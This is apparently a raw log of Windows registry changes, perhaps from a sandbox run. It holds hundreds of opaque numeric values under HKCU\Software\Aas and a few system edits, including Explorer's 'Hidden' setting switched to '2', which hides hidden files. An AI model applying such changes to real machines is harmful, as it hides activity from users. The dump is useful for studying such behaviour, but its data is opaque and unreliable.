"a4_679" = "572865863"
"a1_392" = "1989934276"
"a1_393" = "3646604953"
"a1_390" = "554747624"
"a1_391" = "3625912184"
"a1_396" = "2800639286"
"a1_397" = "1300597676"
"a1_394" = "2932799873"
"a1_395" = "1413205013"
"a1_858" = "1379801515"
"a3_116" = "814879197"
"a3_117" = "821922428"
"a3_114" = "834001179"
"a3_115" = "807894458"
"a3_112" = "785940569"
"a3_113" = "826942712"
"a3_110" = "771902343"
"a3_111" = "778955814"
"a1_49" = "2079264991"
"a1_48" = "530212965"
"a3_554" = "3988280259"
"a3_118" = "862924447"
"a3_119" = "869974846"
"a3_202" = "1465015971"
"a3_203" = "1472066242"
"a3_200" = "1416954337"
"a3_201" = "1424013824"
"a3_206" = "1493543975"
"a3_207" = "1500987462"
"a3_204" = "1445500773"
"a3_205" = "1452936068"
"a1_197" = "324508150"
"a3_759" = "1163391422"
"a3_208" = "1508041977"
"a3_209" = "1481480472"
"a3_592" = "4261104249"
"a3_593" = "4234604184"
"a3_590" = "4246617511"
"a3_591" = "4253667782"
"a3_596" = "4289649661"
"a3_597" = "4263017500"
"a3_594" = "4241589051"
"a3_595" = "4282591066"
"a3_598" = "4270526655"
"a3_599" = "4277581022"
"a4_848" = "1784447312"
"a3_578" = "4160735531"
"a3_579" = "4134104394"
"a4_770" = "1225255874"
"a3_570" = "4069660115"
"a3_571" = "4076703346"
"a3_572" = "4117701269"
"a3_573" = "4124755764"
"a3_574" = "4098128727"
"a3_575" = "4105641974"
"a3_576" = "4146245737"
"a3_577" = "4153169032"
"a1_774" = "93586955"
"a1_775" = "580234965"
"a1_776" = "1107605684"
"a1_777" = "2742358465"
"a1_191" = "3407864844"
"a1_771" = "439493246"
"a1_772" = "2717017933"
"a1_773" = "4170609331"
"a1_953" = "1943882817"
"a3_927" = "2367492374"
"a1_778" = "2575659894"
"a1_779" = "3815356510"
"a3_926" = "2326953207"
"a2_17" = "121877118"
"a2_16" = "114711287"
"a2_15" = "107543308"
"a2_14" = "100361761"
"a2_13" = "93193352"
"a2_12" = "86024974"
"a2_11" = "78858111"
"a2_10" = "71682279"
"a4_829" = "1648234013"
"a4_828" = "1641064892"
"a4_776" = "1268270600"
"a1_592" = "4142104637"
"a2_19" = "136212373"
"a2_18" = "129052293"
"a4_11" = "78860331"
"a4_10" = "71691210"
"a4_13" = "93198573"
"a4_12" = "86029452"
"a4_15" = "107536815"
"a4_14" = "100367694"
"a4_17" = "121875057"
"a4_16" = "114705936"
"a4_19" = "136213299"
"a4_18" = "129044178"
"a4_926" = "2343638750"
"a4_927" = "2350807871"
"a1_878" = "2785321525"
"a4_921" = "2307793145"
"a4_922" = "2314962266"
"a1_595" = "292300581"
"a1_596" = "3191694958"
"a4_987" = "2780955131"
"a1_597" = "3667934828"
"a1_608" = "522654511"
"a1_609" = "1178902528"
"a3_378" = "2693094675"
"a3_379" = "2700145074"
"a4_846" = "1770109070"
"a3_372" = "2683746013"
"a3_373" = "2657102716"
"a3_371" = "2676691642"
"a3_376" = "2712142929"
"a3_377" = "2686171376"
"a3_374" = "2664681375"
"a3_375" = "2705154110"
"a1_759" = "2309919824"
"a3_488" = "3515101889"
"a3_489" = "3522680672"
"a4_841" = "1734263465"
"a4_840" = "1727094344"
"a1_950" = "1582607524"
"a3_484" = "3486690637"
"a1_952" = "3028733796"
"a2_925" = "2336466694"
"a1_954" = "419645632"
"a1_955" = "1947323662"
"a1_956" = "2612803214"
"a3_485" = "3460055532"
"a1_958" = "1534794641"
"a2_922" = "2314968909"
"a1_750" = "2728339218"
"a1_751" = "1267604697"
"a1_756" = "4047356872"
"a1_757" = "3704424427"
"a4_722" = "881138066"
"a4_723" = "888307187"
"a4_720" = "866799824"
"a1_661" = "2617063887"
"a4_726" = "909814550"
"a4_727" = "916983671"
"a4_724" = "895476308"
"a4_725" = "902645429"
"a4_728" = "924152792"
"a4_729" = "931321913"
"a3_978" = "2699694267"
"a3_979" = "2740303066"
"a3_127" = "927442486"
"a1_189" = "772643415"
"a4_903" = "2178748967"
"a1_188" = "2747088485"
"a4_900" = "2157241604"
"a1_187" = "3159322475"
"a4_901" = "2164410725"
"a1_186" = "3148618658"
"a2_929" = "2365188054"
"a4_905" = "2193087209"
"a1_602" = "4165027495"
"a4_586" = "4201104906"
"a4_587" = "4208274027"
"a4_584" = "4186766664"
"a4_585" = "4193935785"
"a4_582" = "4172428422"
"a4_583" = "4179597543"
"a4_580" = "4158090180"
"a4_581" = "4165259301"
"a3_800" = "1423623433"
"a3_801" = "1464105384"
"a3_802" = "1471618507"
"a3_803" = "1445115498"
"a3_804" = "1452026509"
"a3_805" = "1459605292"
"a4_588" = "4215443148"
"a4_589" = "4222612269"
"a3_645" = "312377932"
"a4_909" = "2221763693"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Hidden" = "2"
[HKCU\Software\Aas]
"a4_966" = "2630403590"
"a4_218" = "1562868378"
"a4_219" = "1570037499"
"a4_216" = "1548530136"
"a4_217" = "1555699257"
"a4_214" = "1534191894"
"a4_215" = "1541361015"
"a4_212" = "1519853652"
"a4_213" = "1527022773"
"a4_210" = "1505515410"
"a4_211" = "1512684531"
"a4_458" = "3283457418"
"a4_459" = "3290626539"
"a4_108" = "774265068"
"a4_109" = "781434189"
"a1_843" = "4033557302"
"a4_102" = "731250342"
"a4_103" = "738419463"
"a4_100" = "716912100"
"a4_101" = "724081221"
"a4_106" = "759926826"
"a4_107" = "767095947"
"a4_104" = "745588584"
"a4_105" = "752757705"
"a1_605" = "417336675"
"a1_558" = "177469522"
"a1_559" = "138463258"
"a1_606" = "1572269344"
"a3_925" = "2319505492"
"a1_178" = "2022099366"
"a1_179" = "2256920431"
"a1_176" = "1056655851"
"a1_177" = "2303864394"
"a1_174" = "713197495"
"a1_175" = "1913539315"
"a1_172" = "3704567964"
"a1_173" = "964064661"
"a1_170" = "2978351120"
"a1_171" = "1444119698"
"a1_550" = "4236921919"
"a2_236" = "1691921132"
"a2_237" = "1699082438"
"a2_234" = "1677581633"
"a2_235" = "1684749867"
"a2_232" = "1663226402"
"a2_233" = "1670399734"
"a2_230" = "1648889447"
"a2_231" = "1656066044"
"a1_553" = "4019889606"
"a2_238" = "1706247168"
"a2_239" = "1713414624"
"a2_522" = "3742271977"
"a2_523" = "3749448030"
"a2_520" = "3727946470"
"a2_521" = "3735120568"
"a2_526" = "3770951410"
"a2_527" = "3778131296"
"a2_524" = "3756616539"
"a2_525" = "3763784186"
"a2_838" = "1712752763"
"a2_839" = "1719920500"
"a2_528" = "3785299503"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Aas]
"a3_688" = "620670617"
"a1_626" = "119866223"
"a1_627" = "2122731990"
"a1_624" = "2429541933"
"a1_549" = "726838478"
"a1_548" = "1216155934"
"a1_547" = "2948744989"
"a1_546" = "2925022393"
"a1_545" = "212899539"
"a1_544" = "2062287487"
"a1_543" = "2815333609"
"a1_542" = "2950627080"
"a1_541" = "1023064992"
"a1_540" = "1214882299"
"a2_658" = "422321697"
"a2_659" = "429469210"
"a2_308" = "2208097594"
"a2_309" = "2215261416"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Aas]
"a2_302" = "2165076812"
"a2_303" = "2172246788"
"a2_300" = "2150741827"
"a2_301" = "2157913690"
"a2_306" = "2193747027"
"a2_307" = "2200927516"
"a2_304" = "2179409948"
"a2_305" = "2186579246"
"a2_786" = "1339960597"
"a2_787" = "1347138892"
"a2_784" = "1325627359"
"a2_785" = "1332801038"
"a2_782" = "1311292825"
"a2_783" = "1318460552"
"a2_780" = "1296944812"
"a2_781" = "1304110773"
"a2_788" = "1354295181"
"a2_789" = "1361462189"
"a1_389" = "2071014712"
"a1_388" = "2015092152"
"a1_385" = "3189014747"
"a1_384" = "1814007870"
"a1_387" = "2819292278"
"a1_386" = "1945026558"
"a1_381" = "460630281"
"a1_380" = "3235134377"
"a1_383" = "3222286084"
"a1_382" = "2795048175"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Aas]
"a1_58" = "2741490132"
"a1_59" = "236891022"
"a1_56" = "1660719470"
"a1_57" = "2679108038"
"a1_54" = "344544547"
"a1_55" = "4276828596"
"a1_52" = "1696668643"
"a1_53" = "1756746967"
"a1_50" = "258603074"
"a1_51" = "2314176262"
"a3_215" = "1524377438"
"a3_214" = "1517454143"
"a3_217" = "1572437008"
"a3_216" = "1565514737"
"a3_211" = "1529532890"
"a3_210" = "1488928187"
"a3_213" = "1510469276"
"a3_212" = "1536445053"
"a1_616" = "2527916499"
"a3_748" = "1050812741"
"a3_219" = "1553446098"
"a3_218" = "1545867443"
"a3_585" = "4177070976"
"a3_584" = "4170159969"
"a3_587" = "4225122370"
"a3_586" = "4217678883"
"a3_581" = "4182227468"
"a3_580" = "4141089261"
"a3_583" = "4162646734"
"a3_582" = "4189150895"
"a3_589" = "4205615364"
"a3_588" = "4198622437"
"a3_893" = "2090093684"
"a3_569" = "4062671280"
"a3_568" = "4088782097"
"a3_563" = "4052790138"
"a3_562" = "4045747931"
"a3_561" = "4005270200"
"a3_560" = "3997761049"
"a3_567" = "4081727742"
"a3_566" = "4040721503"
"a3_565" = "4033732668"
"a3_564" = "4026683293"
"a3_109" = "798021476"
"a3_108" = "790966981"
"a1_765" = "3181852336"
"a1_764" = "17784076"
"a1_763" = "2928891725"
"a1_762" = "1488748420"
"a1_761" = "820646924"
"a3_724" = "878479485"
"a3_101" = "707522668"
"a3_100" = "733503437"
"a3_103" = "754977070"
"a3_102" = "714511503"
"a3_105" = "769475040"
"a3_104" = "762555713"
"a3_107" = "750493346"
"a3_106" = "742980099"
"a4_854" = "1827462038"
"a4_855" = "1834631159"
"a4_856" = "1841800280"
"a3_726" = "926531903"
"a4_850" = "1798785554"
"a4_851" = "1805954675"
"a4_852" = "1813123796"
"a4_853" = "1820292917"
"a3_721" = "890560280"
"a2_914" = "2257614151"
"a4_858" = "1856138522"
"a1_586" = "2352989461"
"a1_789" = "681294744"
"a3_720" = "849951481"
"a4_393" = "2817464553"
"a3_898" = "2126083691"
"a3_723" = "904992730"
"a4_939" = "2436837323"
"a4_938" = "2429668202"
"a4_937" = "2422499081"
"a4_936" = "2415329960"
"a4_935" = "2408160839"
"a3_722" = "898003899"
"a4_933" = "2393822597"
"a4_932" = "2386653476"
"a4_931" = "2379484355"
"a4_930" = "2372315234"
"a3_955" = "2568364018"
"a1_788" = "2030965568"
"a1_619" = "3702844465"
"a1_618" = "4216855196"
"a3_369" = "2628699640"
"a3_368" = "2621645145"
"a3_365" = "2600170596"
"a3_364" = "2592723909"
"a3_367" = "2647756070"
"a3_366" = "2640767111"
"a3_361" = "2604787424"
"a3_360" = "2564178497"
"a3_363" = "2585673634"
"a3_362" = "2611780355"
"a4_520" = "3727942920"
"a4_521" = "3735112041"
"a1_584" = "3262061441"
"a4_522" = "3742281162"
"a2_62" = "444487465"
"a4_523" = "3749450283"
"a2_63" = "451652028"
"a4_524" = "3756619404"
"a1_971" = "1575215445"
"a2_60" = "430155499"
"a4_525" = "3763788525"
"a1_943" = "711772294"
"a1_942" = "1463383965"
"a1_941" = "3469504575"
"a2_61" = "437317647"
"a1_947" = "2936714632"
"a4_526" = "3770957646"
"a1_945" = "2392178255"
"a1_944" = "1841593610"
"a2_66" = "473167904"
"a1_949" = "2170271273"
"a4_527" = "3778126767"
"a2_67" = "480337836"
"a2_64" = "458818023"
"a2_65" = "465985173"
"a4_735" = "974336639"
"a4_734" = "967167518"
"a4_737" = "988674881"
"a4_736" = "981505760"
"a4_731" = "945660155"
"a4_730" = "938491034"
"a4_733" = "959998397"
"a4_732" = "952829276"
"a4_739" = "1003013123"
"a4_738" = "995844002"
"a3_969" = "2668861696"
"a3_968" = "2627790049"
"a4_599" = "4294303479"
"a4_598" = "4287134358"
"a1_782" = "3719333143"
"a4_591" = "4236950511"
"a4_590" = "4229781390"
"a4_593" = "4251288753"
"a4_592" = "4244119632"
"a4_595" = "4265626995"
"a4_594" = "4258457874"
"a4_597" = "4279965237"
"a4_596" = "4272796116"
"a1_786" = "214909318"
"a1_41" = "458736949"
"a1_40" = "2029973910"
"a1_43" = "481254903"
"a3_819" = "1559971962"
"a1_42" = "3201283473"
"a3_813" = "1516544548"
"a1_45" = "2612713044"
"a3_811" = "1536136546"
"a3_810" = "1528623299"
"a3_817" = "1545483192"
"a3_816" = "1571594009"
"a3_815" = "1564605158"
"a1_44" = "4266685719"
"a1_47" = "1744988276"
"a1_46" = "933288512"
"a4_201" = "1440993321"
"a4_200" = "1433824200"
"a4_203" = "1455331563"
"a4_202" = "1448162442"
"a4_205" = "1469669805"
"a4_204" = "1462500684"
"a4_207" = "1484008047"
"a4_206" = "1476838926"
"a4_209" = "1498346289"
"a4_208" = "1491177168"
"a4_823" = "1605219287"
"a4_449" = "3218935329"
"a4_448" = "3211766208"
"a4_119" = "853125399"
"a4_118" = "845956278"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Aas]
"a4_115" = "824448915"
"a4_114" = "817279794"
"a4_117" = "838787157"
"a4_116" = "831618036"
"a4_111" = "795772431"
"a4_110" = "788603310"
"a4_113" = "810110673"
"a4_112" = "802941552"
"a4_924" = "2329300508"
"a4_565" = "4050553365"
"a4_998" = "2859815462"
"a3_750" = "1098874375"
"a3_751" = "1105859238"
"a3_752" = "1079359193"
"a4_995" = "2838308099"
"a3_753" = "1086794616"
"a4_566" = "4057722486"
"a3_921" = "2290961104"
"a3_754" = "1127403419"
"a4_879" = "2006690063"
"a3_725" = "885927068"
"a3_755" = "1134321722"
"a4_996" = "2845477220"
"a3_756" = "1108280413"
"a4_991" = "2809631615"
"a1_783" = "1151760914"
"a3_757" = "1115339004"
"a1_959" = "3244155514"
"a2_907" = "2207432180"
"a4_990" = "2802462494"
"a1_161" = "3435220311"
"a1_160" = "4266622683"
"a1_163" = "3164576414"
"a1_162" = "1437857599"
"a1_165" = "3316893904"
"a1_164" = "674162681"
"a1_167" = "2710221049"
"a1_166" = "3858545498"
"a1_169" = "1771407928"
"a1_168" = "3309127285"
"a4_992" = "2816800736"
"a4_994" = "2831138978"
"a3_727" = "933979486"
"a2_535" = "3835486060"
"a2_534" = "3828301890"
"a2_537" = "3849820376"
"a2_536" = "3842651464"
"a2_531" = "3806798628"
"a2_530" = "3799642248"
"a2_533" = "3821135746"
"a2_532" = "3813969875"
"a2_829" = "1648234731"
"a2_828" = "1641067825"
"a2_539" = "3864150356"
"a2_538" = "3856950905"
"a4_447" = "3204597087"
"a4_997" = "2852646341"
"a1_572" = "3399090178"
"a1_573" = "1064876711"
"a1_570" = "1324842209"
"a1_571" = "3789729509"
"a1_576" = "139435799"
"a1_577" = "2315162643"
"a1_574" = "929684661"
"a1_575" = "3913593697"
"a1_578" = "1665416767"
"a1_579" = "3426972991"
"a2_649" = "357787455"
"a2_648" = "350619754"
"a2_319" = "2286947392"
"a2_318" = "2279778233"
"a2_315" = "2258246604"
"a2_314" = "2251111895"
"a2_317" = "2272619868"
"a2_316" = "2265444686"
"a2_311" = "2229593246"
"a2_310" = "2222435707"
"a2_313" = "2243929907"
"a2_312" = "2236760260"
"a2_229" = "1641733366"
"a2_228" = "1634565769"
"a2_221" = "1584380794"
"a2_220" = "1577212484"
"a2_223" = "1598711159"
"a2_222" = "1591547705"
"a2_225" = "1613047744"
"a2_224" = "1605878109"
"a2_227" = "1627396620"
"a2_226" = "1620229666"
"a1_370" = "3403339337"
"a1_371" = "965267148"
"a1_372" = "3162982718"
"a1_373" = "4224113931"
"a1_374" = "2048115904"
"a1_375" = "1944679339"
"a1_376" = "2163886645"
"a1_377" = "667984772"
"a1_378" = "731632262"
"a1_379" = "4258830885"
"a2_793" = "1390144101"
"a2_792" = "1382977702"
"a2_795" = "1404478622"
"a2_794" = "1397322181"
"a2_797" = "1418828842"
"a2_796" = "1411647075"
"a3_36" = "241268621"
"a3_37" = "248309804"
"a3_183" = "1328655230"
"a1_29" = "3436744908"
"a1_28" = "2523822880"
"a1_590" = "1867245370"
"a1_23" = "766061806"
"a1_22" = "4205532904"
"a1_21" = "1325409864"
"a1_20" = "3964647130"
"a1_27" = "3017385199"
"a1_26" = "537129413"
"a1_25" = "2767038119"
"a1_24" = "1441002822"
"a1_284" = "1674228714"
"a1_285" = "3181366944"
"a1_286" = "432371241"
"a1_287" = "1923766031"
"a1_280" = "1848291405"
"a1_281" = "1200989967"
"a1_282" = "1530768276"
"a1_283" = "4120501540"
"a3_31" = "205278614"
"a1_288" = "1385227071"
"a1_289" = "3012155895"
"a3_778" = "1299211491"
"a3_779" = "1306728706"
"a2_903" = "2178746500"
"a1_591" = "3799467357"
"a3_32" = "212854281"
"a2_972" = "2673425061"
"a3_558" = "4017332551"
"a3_559" = "4024255974"
"a3_556" = "3969214597"
"a3_557" = "4009757988"
"a1_552" = "700865905"
"a3_555" = "3962303586"
"a3_552" = "3940752129"
"a3_553" = "3981361056"
"a3_550" = "3926311503"
"a3_551" = "3933234926"
"a1_598" = "3635026623"
"a1_599" = "3378605645"
"a3_178" = "1292673371"
"a3_179" = "1300121082"
"a3_174" = "1264145351"
"a3_175" = "1271198822"
"a3_176" = "1245079705"
"a3_177" = "1252068664"
"a3_170" = "1235731011"
"a3_171" = "1209100002"
"a3_172" = "1216092933"
"a3_173" = "1223671716"
"a2_31" = "222236548"
"a2_30" = "215077993"
"a2_33" = "236580848"
"a2_32" = "229415759"
"a2_35" = "250914579"
"a2_34" = "243747380"
"a2_37" = "265267151"
"a2_36" = "258080782"
"a2_39" = "279597455"
"a2_38" = "272431934"
"a3_486" = "3467639311"
"a3_487" = "3508182702"
"a3_480" = "3424608201"
"a3_481" = "3431657576"
"a3_482" = "3438646411"
"a3_483" = "3479636266"
"a4_902" = "2171579846"
"a2_584" = "4186760055"
"a4_79" = "566360559"
"a4_78" = "559191438"
"a4_906" = "2200256330"
"a4_907" = "2207425451"
"a4_904" = "2185918088"
"a2_585" = "4193942603"
"a4_73" = "523345833"
"a4_72" = "516176712"
"a4_71" = "509007591"
"a4_70" = "501838470"
"a4_77" = "552022317"
"a4_76" = "544853196"
"a4_75" = "537684075"
"a4_74" = "530514954"
"a3_642" = "324456811"
"a3_390" = "2812641775"
"a3_391" = "2786540046"
"a3_392" = "2793594529"
"a3_393" = "2800513728"
"a3_394" = "2841581411"
"a3_395" = "2848623490"
"a3_396" = "2821991461"
"a3_397" = "2829566020"
"a3_398" = "2870043879"
"a3_399" = "2877036806"
"a1_529" = "2403145995"
"a1_625" = "815926912"
"a1_622" = "3076487795"
"a1_623" = "2446743361"
"a1_620" = "2966312865"
"a1_621" = "2260468507"
"a3_643" = "331380106"
[HKCU\Software\Aas\695404737]
"7169121" = "231"
[HKCU\Software\Aas]
"a3_958" = "2556348631"
"a3_959" = "2563272054"
"a1_528" = "3551643099"
"a2_588" = "4215446468"
"a3_950" = "2498827743"
"a3_951" = "2539425406"
"a3_956" = "2575413269"
"a3_957" = "2582860980"
"a3_954" = "2527820627"
"a2_589" = "4222611272"
"a1_976" = "3281437036"
"a1_977" = "1391862501"
"a1_974" = "2888601689"
"a1_975" = "2856091857"
"a1_972" = "3426646647"
"a1_973" = "414855109"
"a1_970" = "2144048680"
"a3_827" = "1616916338"
"a1_770" = "900864638"
"a1_978" = "1425783331"
"a1_979" = "2470767944"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Aas]
"a4_199" = "1426655079"
"a3_505" = "3603458416"
"a3_504" = "3596547281"
"a2_363" = "2602388660"
"a3_507" = "3651577394"
"a3_506" = "3644525971"
"a3_501" = "3608550396"
"a3_500" = "3568002909"
"a3_503" = "3623047358"
"a3_502" = "3615603743"
"a4_821" = "1590881045"
"a4_698" = "709079162"
"a4_699" = "716248283"
"a4_820" = "1583711924"
"a4_692" = "666064436"
"a4_693" = "673233557"
"a4_690" = "651726194"
"a4_691" = "658895315"
"a4_696" = "694740920"
"a4_697" = "701910041"
"a4_694" = "680402678"
"a4_695" = "687571799"
"a4_822" = "1598050166"
"a3_828" = "1624490901"
"a3_829" = "1664967732"
"a3_826" = "1643547347"
"a4_825" = "1619557529"
"a3_824" = "1628992017"
"a3_825" = "1636505264"
"a3_822" = "1581458783"
"a3_823" = "1588517374"
"a3_820" = "1600580765"
"a3_821" = "1607565628"
"a2_900" = "2157232334"
"a1_746" = "2332348701"
"a4_827" = "1633895771"
"a2_901" = "2164419144"
"a3_644" = "305393197"
"a4_826" = "1626726650"
"a2_902" = "2171582177"
"a4_274" = "1964339154"
"a4_275" = "1971508275"
"a4_276" = "1978677396"
"a4_277" = "1985846517"
"a4_270" = "1935662670"
"a4_271" = "1942831791"
"a4_272" = "1950000912"
"a4_273" = "1957170033"
"a2_904" = "2185914727"
"a4_278" = "1993015638"
"a4_279" = "2000184759"
"a2_905" = "2193081303"
"a2_906" = "2200249685"
"a4_478" = "3426839838"
"a4_479" = "3434008959"
"a4_476" = "3412501596"
"a4_477" = "3419670717"
"a4_474" = "3398163354"
"a4_475" = "3405332475"
"a4_472" = "3383825112"
"a4_473" = "3390994233"
"a4_470" = "3369486870"
"a4_471" = "3376655991"
"a4_308" = "2208089268"
"a4_309" = "2215258389"
"a4_300" = "2150736300"
"a4_301" = "2157905421"
"a4_302" = "2165074542"
"a4_303" = "2172243663"
"a4_304" = "2179412784"
"a4_305" = "2186581905"
"a4_306" = "2193751026"
"a4_307" = "2200920147"
"a1_114" = "3727594347"
"a1_115" = "4245566253"
"a1_116" = "1174307290"
"a1_117" = "4101214877"
"a1_110" = "1511541714"
"a1_111" = "3889688710"
"a1_112" = "49127977"
"a1_113" = "1218815331"
"a1_824" = "3453641092"
"a1_118" = "916110463"
"a1_119" = "2178842702"
"a4_576" = "4129413696"
"a4_920" = "2300624024"
"a3_732" = "969437045"
"a2_498" = "3570230665"
"a2_499" = "3577394576"
"a2_492" = "3527209291"
"a2_493" = "3534379690"
"a2_490" = "3512875317"
"a2_491" = "3520042492"
"a2_496" = "3555877770"
"a2_497" = "3563060737"
"a2_494" = "3541543615"
"a2_495" = "3548712808"
"a2_816" = "1555030187"
"a2_817" = "1562199343"
"a2_814" = "1540698850"
"a2_815" = "1547865592"
"a2_812" = "1526365040"
"a3_740" = "1026900557"
"a2_810" = "1512015444"
"a2_811" = "1519180417"
"a3_733" = "943391636"
"a4_570" = "4086398970"
"a2_818" = "1569366865"
"a2_819" = "1576535961"
"a1_565" = "536805231"
"a1_564" = "88874621"
"a1_567" = "3135342443"
"a1_566" = "298444486"
"a1_561" = "2717729503"
"a1_560" = "3825494595"
"a1_563" = "815109643"
"a1_562" = "4129502606"
"a1_569" = "179869116"
"a1_568" = "850721141"
"a1_525" = "1405528279"
"a2_678" = "565704769"
"a2_679" = "572860972"
"a2_676" = "551357505"
"a2_677" = "558523026"
"a2_674" = "537025813"
"a2_675" = "544191840"
"a2_672" = "522673837"
"a2_673" = "529856558"
"a2_670" = "508338197"
"a2_671" = "515521006"
"a3_982" = "2728158783"
"a2_258" = "1849636754"
"a2_259" = "1856803900"
"a2_254" = "1820950861"
"a2_255" = "1828119736"
"a2_256" = "1835300896"
"a2_257" = "1842472930"
"a2_250" = "1792286319"
"a2_251" = "1799452522"
"a2_252" = "1806625965"
"a2_253" = "1813784610"
"a1_363" = "2496791544"
"a1_362" = "3366619261"
"a1_361" = "2949509362"
"a1_360" = "2998214452"
"a1_367" = "2226924465"
"a1_366" = "164855799"
"a1_365" = "2210563992"
"a1_364" = "1369050301"
"a1_369" = "2164097416"
"a1_368" = "3591122270"
"a3_977" = "2692709400"
"a3_924" = "2346001461"
"a1_38" = "2699774536"
"a1_39" = "3868066954"
"a1_30" = "1390955271"
"a1_31" = "3560269825"
"a1_32" = "842462838"
"a1_33" = "593854925"
"a1_34" = "3714181548"
"a1_35" = "4079848440"
"a1_36" = "1976929132"
"a1_37" = "752954448"
"a1_297" = "4049944116"
"a1_296" = "446226515"
"a1_295" = "1068769950"
"a1_294" = "2635276341"
"a1_293" = "1303048260"
"a1_292" = "3807792635"
"a1_291" = "17159962"
"a1_290" = "1551591088"
"a1_299" = "2458977409"
"a1_298" = "1973014965"
"a3_769" = "1234824520"
"a1_600" = "376995078"
"a2_668" = "493997617"
"a1_601" = "1248904951"
"a3_761" = "1143737968"
"a3_760" = "1170380241"
"a3_763" = "1191790386"
"a4_286" = "2050368606"
"a3_765" = "1206362100"
"a3_370" = "2669182491"
"a3_767" = "1186780342"
"a3_766" = "1179725847"
"a2_108" = "774260131"
"a2_109" = "781429494"
"a4_878" = "1999520942"
"a1_603" = "3835089931"
"a2_100" = "716909315"
"a2_101" = "724075788"
"a2_102" = "731243356"
"a2_103" = "738423912"
"a2_104" = "745590791"
"a2_105" = "752759556"
"a2_106" = "759935845"
"a2_107" = "767093218"
"a3_541" = "3861793492"
"a3_540" = "3887912629"
"a3_543" = "3909387158"
"a3_542" = "3868847991"
"a3_545" = "3923892392"
"a3_544" = "3916833801"
"a3_547" = "3904770410"
"a3_546" = "3897785547"
"a3_549" = "3952815660"
"a3_548" = "3945379213"
"a1_607" = "550422692"
"a1_589" = "1677021627"
"a1_588" = "1657807621"
"a3_169" = "1228156448"
"a3_168" = "1187689857"
"a3_167" = "1180635502"
"a3_166" = "1206680783"
"a3_165" = "1199757484"
"a3_164" = "1192698893"
"a3_163" = "1151697898"
"a3_162" = "1144713035"
"a3_161" = "1171213096"
"a3_160" = "1163777673"
"a1_749" = "75399572"
"a1_748" = "3619829809"
"a2_28" = "200730564"
"a2_29" = "207897570"
"a2_26" = "186396065"
"a2_27" = "193564577"
"a2_24" = "172061173"
"a2_25" = "179230046"
"a2_22" = "157727180"
"a2_23" = "164895376"
"a2_20" = "143379959"
"a2_21" = "150547658"
"a4_68" = "487500228"
"a4_69" = "494669349"
"a4_917" = "2279116661"
"a4_916" = "2271947540"
"a4_911" = "2236101935"
"a4_910" = "2228932814"
"a4_913" = "2250440177"
"a4_912" = "2243271056"
"a4_60" = "430147260"
"a4_61" = "437316381"
"a4_62" = "444485502"
"a4_63" = "451654623"
"a4_64" = "458823744"
"a4_65" = "465992865"
"a4_66" = "473161986"
"a4_67" = "480331107"
"a4_833" = "1676910497"
"a4_959" = "2580219743"
"a2_758" = "1139224421"
"a2_7" = "50177736"
"a2_6" = "43008729"
"a2_5" = "35842588"
"a2_4" = "28675215"
"a2_3" = "21509706"
"a2_2" = "14340976"
"a2_1" = "7174148"
"a2_0" = "8092"
"a1_639" = "2616645333"
"a1_638" = "480533219"
"a3_389" = "2805656908"
"a3_388" = "2765048109"
"a2_9" = "64526783"
"a2_8" = "57358515"
"a4_5" = "35845605"
"a4_4" = "28676484"
"a4_7" = "50183847"
"a4_6" = "43014726"
"a4_1" = "7169121"
"a4_0" = "0"
"a4_3" = "21507363"
"a4_2" = "14338242"
"a4_9" = "64522089"
"a4_8" = "57352968"
"a2_756" = "1124891052"
"a3_949" = "2491838908"
"a3_948" = "2484395293"
"a3_945" = "2462900280"
"a3_944" = "2455850905"
"a3_947" = "2510895354"
"a3_946" = "2503967835"
"a3_941" = "2467992228"
"a3_940" = "2427452933"
"a3_943" = "2482482022"
"a3_942" = "2474915527"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Aas]
"a3_875" = "1961196962"
"a1_532" = "4050870503"
"a1_533" = "1949067995"
"a4_845" = "1762939949"
"a2_853" = "1820290178"
"a3_708" = "797636205"
"a4_923" = "2322131387"
"a3_970" = "2675785123"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 9F CD 2B 98 D2 B3 50 1D 15 16 78 89 14 B2 37"
[HKCU\Software\Aas]
"a1_968" = "3686907906"
"a4_689" = "644557073"
"a4_688" = "637387952"
"a1_951" = "1485161998"
"a4_685" = "615880589"
"a4_684" = "608711468"
"a4_687" = "630218831"
"a4_686" = "623049710"
"a4_681" = "587204105"
"a4_680" = "580034984"
"a4_683" = "601542347"
"a4_682" = "594373226"
"a3_831" = "1645985014"
"a3_830" = "1671960663"
"a3_833" = "1659958664"
"a3_832" = "1652904297"
"a3_835" = "1707934282"
"a1_538" = "481094369"
"a3_837" = "1688886028"
"a3_836" = "1681434349"
"a3_839" = "1736479694"
"a3_838" = "1729494959"
"a1_539" = "728995414"
"a1_957" = "568287783"
"a4_267" = "1914155307"
"a4_266" = "1906986186"
"a4_265" = "1899817065"
"a4_264" = "1892647944"
"a4_263" = "1885478823"
"a4_262" = "1878309702"
"a4_261" = "1871140581"
"a4_260" = "1863971460"
[HKCU\Software\Aas\695404737]
